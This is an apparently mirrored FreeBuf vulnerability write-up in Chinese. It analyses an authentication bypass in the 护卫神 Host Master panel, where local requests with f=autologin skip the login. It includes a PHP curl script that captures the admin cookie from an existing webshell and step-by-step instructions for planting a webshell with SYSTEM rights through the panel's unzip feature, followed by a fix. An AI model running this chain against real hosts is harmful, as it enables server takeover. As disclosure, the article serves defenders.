88

护卫神主机大师提权漏洞利用分析

 5 years ago
source link: http://www.freebuf.com/articles/web/173947.html?amp%3Butm_medium=referral
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

*本文原创作者:Freedom,本文属FreeBuf原创奖励计划,未经许可禁止转载

0×01 前言

护卫神·主机大师支持一键安装网站运行环境(IIS+ASP+ASP.net+PHP5.2-5.6+MySQL+FTP+伪静态+PhpMyAdmin),并可在线开设主机、SQL Server和MySQL;Web方式管理,拥有独立前台和后台面板。支持Windows Server 2008/2012。结合护卫神14年安全防护经验,严格限制每个站点独立权限,彻底阻挡跨站入侵。但这套系统真的像描述的那么安全么?,由于某次安全测试遇到该系统,遂对该系统进行分析。本文记录了分析过程中的一些记录和问题。

0×02 代码分析

先看看装好后的软件界面,可以看到一些常见的主机操作功能。其中网站管理引起了我的注意,点开瞅瞅

BFR7N3y.jpg!web

点开之后就直接进去了,WTF?

Qbe2Ifi.jpg!web

从逻辑流程来看这里很明显有问题,撸开代码看看怎么验证的。虚拟主机管理系统运行在6588端口。且采用asp语言开发。程序路径为x:\HwsHostMaster\host\web\下,且默认为system权限运行。

/admin/index.asp

<%Option Explicit%>
<!--#include file="../conn.asp"-->
<%
Dim strIp
strIp = Request.ServerVariables("local_addr")
Dim strAuto
strAuto = LCase(Trim(Request.QueryString("f")))
If (strIp = "::1" Or strIp = "127.0.0.1") And strAuto = "autologin"  Then
    '获取管理用户登录
    Dim sql,rs
    call conn_open()
    Set rs = Server.CreateObject("Adodb.Recordset")
    sql = "select top 1 * from [huweishen_Admin]"
    rs.Open sql,conn,1,1
    if rs.RecordCount = 0 then
        Session("admin")= "autologin"
    else
        Session("admin") = rs("username")
    end if
    rs.Close
    Session.Timeout =600
    AddLog Session("admin"), 1, "控制台直接登录管理中心"
    Response.Redirect "index.asp"
End If
%>

代码乍一看好像没啥问题,但是开发者疏忽了一个问题,第9行判断来源ip是否为本地访问,strIp变量来自Request.ServerVariables(“local_addr”) ,如果为本地访问且strAuto=autologin则直接登入系统,无需账号密码验证,这就出现一个问题了,开发者未考虑内部用户是否合法,如果我获取到一个低权限的webshell、那就相当于获取到一个本地身份了。那么我就可以直接访问到虚拟主机管理后台了。那么就可以为所欲为了。

0×03 利用方法

本漏洞利用前提是已经获取到虚拟主机上的一个webshell,其次在通过以下脚本获取cookie即可进入虚拟主机管理后台。

<?php
function httpGet() {
    $url = '[http://127.0.0.1:6588/admin/index.asp?f=autologin](http://127.0.0.1:6588/admin/index.asp?f=autologin)';
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_HEADER, TRUE);    //表示需要response header
    curl_setopt($ch, CURLOPT_NOBODY, TRUE); //表示需要response body
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, FALSE);
    curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
    curl_setopt($ch, CURLOPT_TIMEOUT, 120);
    $result = curl_exec($ch);
    return $result;
}
echo httpGet();
?>

将该脚本上传至服务器,访问后即可获取到管理员cookie。在本地修改cookie后即可进入到虚拟主机管理后台。绕过登录限制。

0×04 GETSHELL

直接访问需要登录

qMjQfqN.jpg!web

通过脚本获取cookie

YZjeeq6.jpg!web

修改cookie后直接访问/admin/index.asp,进入后台

z63QRj6.jpg!web

进入后台后点击网站列表,随便选择一个网站,点击解压进入操作界面,通过FTP或其他方式上传shell压缩包,然后输入文件名和解压路径,解压路径选择护卫神管理系统路径,一般为X:\HwsHostMaster\host\web\ X为任意盘符。

FBJ7feu.jpg!web

在我这里普通网站目录和护卫神管理系统都在D盘下,所以采用相对路径指向到虚拟主机管理系统web路径即可

zyMjMzZ.jpg!webnYjUjmA.jpg!webB3UJNbJ.jpg!web

点击解压以后,shell就躺在管理系统目录下了。并且为system权限。成功获取到高权身份

0×05 总结

该漏洞利用场景较为鸡肋,前提要求已经获取到该主机上的shell,才可采用该方法进行提权。开发者在开发过程中不要对内部不要过于信任,因为你也无法确保内部绝对的安全。

修复方案:

删除第三行到第三十行之间的代码即可。

*本文原创作者:Freedom,本文属FreeBuf原创奖励计划,未经许可禁止转载


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK